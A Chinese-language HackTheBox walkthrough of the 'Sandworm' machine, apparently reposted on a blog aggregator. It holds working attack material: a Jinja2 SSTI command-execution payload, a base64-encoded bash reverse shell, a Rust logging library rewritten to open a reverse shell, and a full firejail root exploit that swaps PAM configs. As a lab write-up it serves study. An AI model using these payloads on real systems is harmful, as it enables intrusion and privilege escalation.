HTB-Sandworm

news2025/1/11 3:58:34

HTB-Sandworm

  • 立足
  • altas -> silentobserver
  • silentobserver -> 完整的atals
  • atlas -> root
  • exploit

请添加图片描述

扫描最常用的1000个端口。
在这里插入图片描述

80会重定向到443。
在这里插入图片描述

去看看443有什么吧。
在这里插入图片描述

在这里插入图片描述

目录扫描可能不会起作用。在concat上面找到了一个有趣的东西。
在这里插入图片描述
“如果不知道怎么PGP?请访问guide。”
在这里插入图片描述
继续点进去。
在这里插入图片描述
顶部有他们的PGP公钥。
在这里插入图片描述

在这里插入图片描述

经过多次尝试发现Verifying signed messages存在SSTI。

在这里插入图片描述
来看看是怎么发现的。以下是我们需要用的在线网站工具:
https://youritmate.us/pgp/
http://www.2pih.com/pgp.html

首先打开第一个超链接的,填写名字、邮件、和密码(可选可不选),然后生成可以得到私钥和公钥。

在这里插入图片描述
接着复制私钥来到第二个超链接,如果前面填写了密码的就在Passphrase填写密码,复制私钥并且随意输入一个Message。
在这里插入图片描述

底下就有我们生成的sign。
在这里插入图片描述

为什么我们要怎么做?是因为我们需要观察我们能够控制的部分是那部分。然后将公钥和sign复制到目标验证功能处。
在这里插入图片描述
很显然,我们能控制的是生成PGP时所需的名字上。

在这里插入图片描述

接着将名字修改为{{12*12}}测试是否存在SSTI(别忘了重新生成以及替换掉旧的私钥和公钥。
在这里插入图片描述
然后就发现存在SSTI。
在这里插入图片描述

{{12*12}}替换为{{7*'7'}}后出现了7个7。
在这里插入图片描述

要么是Jinja2,要么是Twig,当然还有其他可能。使用{{config.items()}}收集信息发现了mysql的相关信息。

在这里插入图片描述

尝试使用mysql的账户登录ssh失败,怀疑可能是个兔子洞。
使用payload“{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}”来尝试执行id。
在这里插入图片描述
可以看到成功执行了id命令。那么下一步就是反弹shell了。不过让我们先尝试看看能不能ping到本机。

在这里插入图片描述
很遗憾,似乎有什么东西在阻止我们。在想办法绕过它之前先看看当前用户的ssh文件能否被读取。
在这里插入图片描述

atlas的.ssh文件里面只有一个authorized_keys。

在这里插入图片描述

尝试写入公钥登录也没有办法。所以只有考虑想办法绕过它。

立足

首先想到的是用base64编码一次。

使用base64命令,然后输入要编码的字符串,输入完毕后按下CTRL+D即可。
在这里插入图片描述

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMC80NDQ0IDA+JjEK" | base64 -d | bash

在这里插入图片描述

收集信息的时候发现还有很多页面我没有收集到。
在这里插入图片描述

在这里插入图片描述

不知道为啥我当前shell的好像有点问题。无法使用nc活wget下载linpeas,但是我们有python3。

python3 -c "import urllib.request;url ='http://10.10.14.10/linpeas.sh';filename ='linpeas.sh';urllib.request.urlretrieve(url, filename)"

在这里插入图片描述

问题又来了,没有办法用chmod修改权限。

在这里插入图片描述

可以尝试使用python来修改权限,不过大概率没有权限修改权限。

在这里插入图片描述

就目前这个情况,我感觉大概率是需要找到另一个用户的凭证。还好在./httpie/sessions/localhost_5000/admin.json找到了。
在这里插入图片描述

altas -> silentobserver

利用获得的凭证通过ssh登录。

在这里插入图片描述

silentobserver -> 完整的atals

opt目录有两个有趣的玩意。

在这里插入图片描述

通过pspy看看这两个有趣的东西会不会被时间任务启动。
在这里插入图片描述
在这里插入图片描述
上面那个rust的作用可能就是把用户查询的信息写进access.log文件里面。
在这里插入图片描述

这个tipnet程序会提供几个功能。

在这里插入图片描述

但是看源码能够看到似乎就只有UpstreamRefresh Indeces可用。
在这里插入图片描述
上面是e重新刷新一个什么东西,a下面是查询。

在这里插入图片描述

在这里插入图片描述

当我们使用e(Refresh Indeces),会执行一个函数pull_indeces

在这里插入图片描述

tipnet会有一句写入/opt/tipnet/access.log的代码,但是看了一下并没有发现。只存在一个logger::log

-

再结合上时间任务中这句命令。推测是将某个文件编译为库,方便tipnet使用。在这里插入图片描述
这个logger应该那个外部crate, 看代码感觉就是用来写入日志的。
在这里插入图片描述

但是这个tipnet,似乎只能利用修改lib.rs来想办法反弹atlas用户的shell。不过我们都有了silentobserver的ssh账户了,可能用不上。
在这里插入图片描述

继续搜索发现有一个firejail的SUID。

在这里插入图片描述
搜索发现有一个exploit可用。
在这里插入图片描述

在这里插入图片描述
在使用的时候会发现没有权限使用firejail。

在这里插入图片描述

在这里插入图片描述

哦,似乎那个lib.rs是用来获得完整atlas用户的shell。那把logger下的lib.rs内容修改为反弹shell的代码,然后重新重建一下。

extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};




pub fn log(user: &str, query: &str, justification: &str) {

    let sock = TcpStream::connect("10.10.14.16:4321").unwrap();
    let fd = sock.as_raw_fd();
    Command::new("/bin/bash")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();


    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
}

复制到/opt/crates/logger/src/lib.rs,然后等两分钟就可以了。完整的atlas有一个jailer的组。

在这里插入图片描述

atlas -> root

继续回到那个firejail上。
在这里插入图片描述
看来需要两个shell。重新写一个lib.rs就行了,然后第二个shell里面照着说明使用即可。

在这里插入图片描述

exploit

https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25#file-exploit-py-L221

#!/usr/bin/python3

import os
import shutil
import stat
import subprocess
import sys
import tempfile
import time
from pathlib import Path

# Print error message and exit with status 1
def printe(*args, **kwargs):
    kwargs['file'] = sys.stderr
    print(*args, **kwargs)
    sys.exit(1)

# Return a boolean whether the given file path fulfils the requirements for the
# exploit to succeed:
# - owned by uid 0
# - size of 1 byte
# - the content is a single '1' ASCII character
def checkFile(f):
    s = os.stat(f)

    if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):
        return False

    with open(f) as fd:
        ch = fd.read(2)

        if len(ch) != 1 or ch != "1":
            return False

    return True

def mountTmpFS(loc):
    subprocess.check_call("mount -t tmpfs none".split() + [loc])

def bindMount(src, dst):
    subprocess.check_call("mount --bind".split() + [src, dst])

def checkSelfExecutable():
    s = os.stat(__file__)

    if (s.st_mode & stat.S_IXUSR) == 0:
        printe(f"{__file__} needs to have the execute bit set for the exploit to \
work. Run `chmod +x {__file__}` and try again.")

# This creates a "helper" sandbox that serves the purpose of making available
# a proper "join" file for symlinking to as part of the exploit later on.
#
# Returns a tuple of (proc, join_file), where proc is the running subprocess
# (it needs to continue running until the exploit happened) and join_file is
# the path to the join file to use for the exploit.
def createHelperSandbox():
    # just run a long sleep command in an unsecured sandbox
    proc = subprocess.Popen(
            "firejail --noprofile -- sleep 10d".split(),
            stderr=subprocess.PIPE)

    # read out the child PID from the stderr output of firejail
    while True:
        line = proc.stderr.readline()
        if not line:
            raise Exception("helper sandbox creation failed")

        # on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is output
        line = line.decode('utf8').strip().lower()
        if line.find("child pid") == -1:
            continue

        child_pid = line.split()[-1]

        try:
            child_pid = int(child_pid)
            break
        except Exception:
            raise Exception("failed to determine child pid from helper sandbox")

    # We need to find the child process of the child PID, this is the
    # actual sleep process that has an accessible root filesystem in /proc
    children = f"/proc/{child_pid}/task/{child_pid}/children"

    # If we are too quick then the child does not exist yet, so sleep a bit
    for _ in range(10):
        with open(children) as cfd:
            line = cfd.read().strip()
            kids = line.split()
            if not kids:
                time.sleep(0.5)
                continue
            elif len(kids) != 1:
                raise Exception(f"failed to determine sleep child PID from helper \
sandbox: {kids}")

            try:
                sleep_pid = int(kids[0])
                break
            except Exception:
                raise Exception("failed to determine sleep child PID from helper \sandbox")  
            else:
                raise Exception(f"sleep child process did not come into existence in {children}")

    join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join"
    if not os.path.exists(join_file):
        raise Exception(f"join file from helper sandbox unexpectedly not found at \
{join_file}")

    return proc, join_file

# Re-executes the current script with unshared user and mount namespaces
def reexecUnshared(join_file):

    if not checkFile(join_file):
        printe(f"{join_file}: this file does not match the requirements (owner uid 0, \
size 1 byte, content '1')")

    os.environ["FIREJOIN_JOINFILE"] = join_file
    os.environ["FIREJOIN_UNSHARED"] = "1"

    unshare = shutil.which("unshare")
    if not unshare:
        printe("could not find 'unshare' program")

    cmdline = "unshare -U -r -m".split()
    cmdline += [__file__]

    # Re-execute this script with unshared user and mount namespaces
    subprocess.call(cmdline)

if "FIREJOIN_UNSHARED" not in os.environ:
    # First stage of execution, we first need to fork off a helper sandbox and
    # an exploit environment
    checkSelfExecutable()
    helper_proc, join_file = createHelperSandbox()
    reexecUnshared(join_file)

    helper_proc.kill()
    helper_proc.wait()
    sys.exit(0)
else:
    # We are in the sandbox environment, the suitable join file has been
    # forwarded from the first stage via the environment
    join_file = os.environ["FIREJOIN_JOINFILE"]

# We will make /proc/1/ns/user point to this via a symlink
time_ns_src = "/proc/self/ns/time"

# Make the firejail state directory writeable, we need to place a symlink to
# the fake join state file there
mountTmpFS("/run/firejail")
# Mount a tmpfs over the proc state directory of the init process, to place a
# symlink to a fake "user" ns there that firejail thinks it is joining
try:
    mountTmpFS("/proc/1")
except subprocess.CalledProcessError:
    # This is a special case for Fedora Linux where SELinux rules prevent us
    # from mounting a tmpfs over proc directories.
    # We can still circumvent this by mounting a tmpfs over all of /proc, but
    # we need to bind-mount a copy of our own time namespace first that we can
    # symlink to.
    with open("/tmp/time", 'w') as _:
        pass
    time_ns_src = "/tmp/time"
    bindMount("/proc/self/ns/time", time_ns_src)
    mountTmpFS("/proc")

FJ_MNT_ROOT = Path("/run/firejail/mnt")

# Create necessary intermediate directories
os.makedirs(FJ_MNT_ROOT)
os.makedirs("/proc/1/ns")

# Firejail expects to find the umask for the "container" here, else it fails
with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd:
    umask_fd.write("022")

# Create the symlink to the join file to pass Firejail's sanity check
os.symlink(join_file, FJ_MNT_ROOT / "join")
# Since we cannot join our own user namespace again fake a user namespace that
# is actually a symlink to our own time namespace. This works since Firejail
# calls setns() without the nstype parameter.
os.symlink(time_ns_src, "/proc/1/ns/user")

# The process joining our fake sandbox will still have normal user privileges,
# but it will be a member of the mount namespace under the control of *this*
# script while *still* being a member of the initial user namespace.
# 'no_new_privs' won't be set since Firejail takes over the settings of the
# target process.
#
# This means we can invoke setuid-root binaries as usual but they will operate
# in a mount namespace under our control. To exploit this we need to adjust
# file system content in a way that a setuid-root binary grants us full
# root privileges. 'su' and 'sudo' are the most typical candidates for it.
#
# The tools are hardened a bit these days and reject certain files if not owned
# by root e.g. /etc/sudoers. There are various directions that could be taken,
# this one works pretty well though: Simply replacing the PAM configuration
# with one that will always grant access.
with tempfile.NamedTemporaryFile('w') as tf:
    tf.write("auth sufficient pam_permit.so\n")
    tf.write("account sufficient pam_unix.so\n")
    tf.write("session sufficient pam_unix.so\n")

    # Be agnostic about the PAM config file location in /etc or /usr/etc
    for pamd in ("/etc/pam.d", "/usr/etc/pam.d"):
        if not os.path.isdir(pamd):
            continue
        for service in ("su", "sudo"):
            service = Path(pamd) / service
            if not service.exists():
                continue
            # Bind mount over new "helpful" PAM config over the original
            bindMount(tf.name, service)

print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain \
a shell where 'sudo su -' should grant you a root shell.")

while True:
    line = sys.stdin.readline()
    if not line:
        break

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/680260.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Axure教程—折叠面板

本文介绍利用Axure中的动态面板制作折叠面板 一、效果 预览地址&#xff1a;https://3k8az1.axshare.com 二、功能 1、点击标题展开面板内容 2、点击标题折叠面板 三、制作 从默认元件库拖入一个动态面板&#xff0c;设置两个状态&#xff0c;一个状态面板标题&#xff0c;一…

【MySQL】不允许你还不了解创建计算字段

&#x1f3ac; 博客主页&#xff1a;博主链接 &#x1f3a5; 本文由 M malloc 原创&#xff0c;首发于 CSDN&#x1f649; &#x1f384; 学习专栏推荐&#xff1a;LeetCode刷题集&#xff01; &#x1f3c5; 欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指…

【开源与项目实战:开源实战】82 | 开源实战三(中):剖析Google Guava中用到的几种设计模式

上一节课&#xff0c;我们通过 Google Guava 这样一个优秀的开源类库&#xff0c;讲解了如何在业务开发中&#xff0c;发现跟业务无关、可以复用的通用功能模块&#xff0c;并将它们从业务代码中抽离出来&#xff0c;设计开发成独立的类库、框架或功能组件。 今天&#xff0c;…

【后端】使用TS编写任务管理系统----Express

文章目录 常见的后端框架安装并且声明文件库项目基本配置编写任务管理后端API添加任务查看任务设置任务完成状态删除任务 总结 node -v v16.13.0https://github.com/dL-hx/server-side 常见的后端框架 expresskoa… 安装并且声明文件库 $ npm i express $ npm i types/exp…

前端vue入门(纯代码)14

内容创作不易&#xff0c;各位帅哥美女&#xff0c;求个小小的赞&#xff01;&#xff01;&#xff01; 【15.给todoList案例添加编辑按钮】 本篇内容在TodoList案例的基础上添加个编辑按钮&#xff0c;要求&#xff1a; &#xff08;1&#xff09;点击编辑按钮后&#xff0c…

轻松学会研华屏幕下载和上传

&#x1f525;一个人走得远了&#xff0c;就会忘记自己为了什么而出发&#xff0c;希望你可以不忘初心&#xff0c;不要随波逐流&#xff0c;一直走下去&#x1f3b6; &#x1f98b; 欢迎关注&#x1f5b1;点赞&#x1f44d;收藏&#x1f31f;留言&#x1f43e; ✅ 如果觉得博主…

HashMap和HashSet的知识点总结

前言 在之前我们介绍过TreeMap和TreeSet&#xff1a; TreeMapTreeSet 知识点梳理总结_Crystal_bit的博客-CSDN博客 也知道Key-Value和Key模型&#xff0c;但是我们可能还对Hash不太了解&#xff0c;这里我们对Hash了解之后再对HashMap和HashSet的基本使用了解一下。 目录 1…

LabVIEW 图像处理功能

设置成像系统并采集图像后&#xff0c;您可以分析和处理图像&#xff0c;以提取有关被检测对象的有价值信息。 内容 图像分析图像处理斑点分析机器视觉 图像分析 影像分析结合了基于影像像素的灰度强度计算统计数据和测量的技术。您可以使用影像分析功能来确定影像质量是否足以…

scratch lenet(10): C语言计算log

scratch lenet(10): C语言计算log 文章目录 scratch lenet(10): C语言计算log1. 目的2. 原理: x m ∗ 2 p x m * 2^p xm∗2p3. 公式展开3.1 公式分解3.2 获取 m m m3.3 获取 p p p3.4 Remez 算法Remez 算法用于 sin(x) 的快速计算Remez 算法用于 exp 的近似Remez 用于自然…

【MySQL数据库】存储过程

目录 一、存储过程1.1概述1.2优点 二、存储过程实战2.1创建存储过程2.2存储过程的参数2.3条件语句 if-then-else end if2.4循环语句while end while 一、存储过程 1.1概述 存储过程是一组为了完成特定功能的SQL语句集合。存储过程在使用过程中是将常用或者复杂的工作预先使…

CSS基础学习--25 border(边框)进阶

一、边框常见属性 border-radiusbox-shadowborder-image 属性说明CSSborder-image设置所有边框图像的速记属性。3border-radius一个用于设置所有四个边框- *-半径属性的速记属性3box-shadow附加一个或多个下拉框的阴影3 二、border-radius 圆角 在 CSS2 中添加圆角棘手。我…

网络协议TCP/IP 协议学习笔记一

T C P / I P通常被认 为是一个四层协议系统&#xff0c;每一层负责不同的功能&#xff1a; 1) 链路层&#xff0c;有时也称作数据链路层或网络接口层&#xff0c; 通常包括操作系统中的设备驱动程序和计算机 中对应的网络接口卡。它们一起处理与电缆&#xff08;或其他任何传输…

CSS基础学习--26 渐变(Gradients)

CSS3 渐变&#xff08;gradients&#xff09;可以让你在两个或多个指定的颜色之间显示平稳的过渡。以前&#xff0c;你必须使用图像来实现这些效果。但是&#xff0c;通过使用 CSS3 渐变&#xff08;gradients&#xff09;&#xff0c;你可以减少下载的时间和宽带的使用。此外&…

Linux tracing之基于uprobe/kprobe的调试调优浅析

经过长期的发展, kprobes/uprobes 机制在事件(events)的基础上分别为内核态和用户态提供了追踪调试的功能, 这也构成了 tracepoint 机制的基础, 后期的很多工具, 比如 perf_events, ftrace 等都是在其基础上演化而来. 参考由 Brendan Gregg 提供的资料来看, kprobes/uprobes 在…

Minecraft我的世界服务器搭建之Linux系统,我的世界服务器推荐

Minecraft 是一个流行的沙箱独立游戏&#xff0c;由瑞典程序员 Markus “Notch” Perssion 首先创造&#xff0c;后来由 Mojang 开发并发布。这是一款关于打碎和放置砖块的游戏。首先&#xff0c;人们建造建筑物来抵抗夜晚的怪物&#xff0c;随着游戏的发展&#xff0c;玩家一起…

Spark Stream操作Kafka总结

kafka集群搭建 搭建参考 https://www.toutiao.com/article/6496743889053942286/?log_fromd5d6394cf75d_1687599146327 zk下载位置 国内&#xff1a;https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/ 国外&#xff1a;Apache ZooKeeper kafka位置 国内&#xff…

Kubernetes(k8s)容器编排Pod介绍和使用

目录 1 Pod 特点1.1 网络1.2 存储 2 使用方式2.1 自主式Pod2.2 控制器管理的Pod 3 自主运行Pod3.1 创建资源清单3.1.1 参数描述 3.2 创建Pod3.3 Pod操作3.3.1 查看Pod列表3.3.2 查看描述信息3.3.3 访问pod3.3.4 删除Pod 4 控制器运行Pod4.1 创建资源清单4.2 参数描述4.2.1 Repl…

【IDEA】Directory创建多级目录的正确写法

在resource下创建包的时候&#xff0c;右键resourcenew的时候并没有Package,只有Directory 我们也可以用Directory创建包&#xff0c;但写法与在Package下创建包的写法会不一样 例如&#xff1a; 在directory创建包 我们在去看文件的时候 如果是用&#xff08; com.dao.m…

【数据结构】树以及堆的讲解

(这里写自定义目录标题) 提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、树的概念&#xff1f;二、树的表示方法三、树的实际应用四、二叉树概念以及结构1.概念2.特殊的二叉树3.二叉树的性质4.二叉树的存储…

指针与数组--动态数组(2)[1、长度可变的一维动态数组 2、长度可变的二维动态数组]

目录 一、长度可变的一维动态数组 二、长度可变的二维动态数组 由上篇文章的理论&#xff0c;接下来使用例题来阐述。 一、长度可变的一维动态数组 例题1、编程输入某班学生的某门课成绩&#xff0c;计算并输出平均值。学生人数由键盘输入。 #include <stdio.h> #i…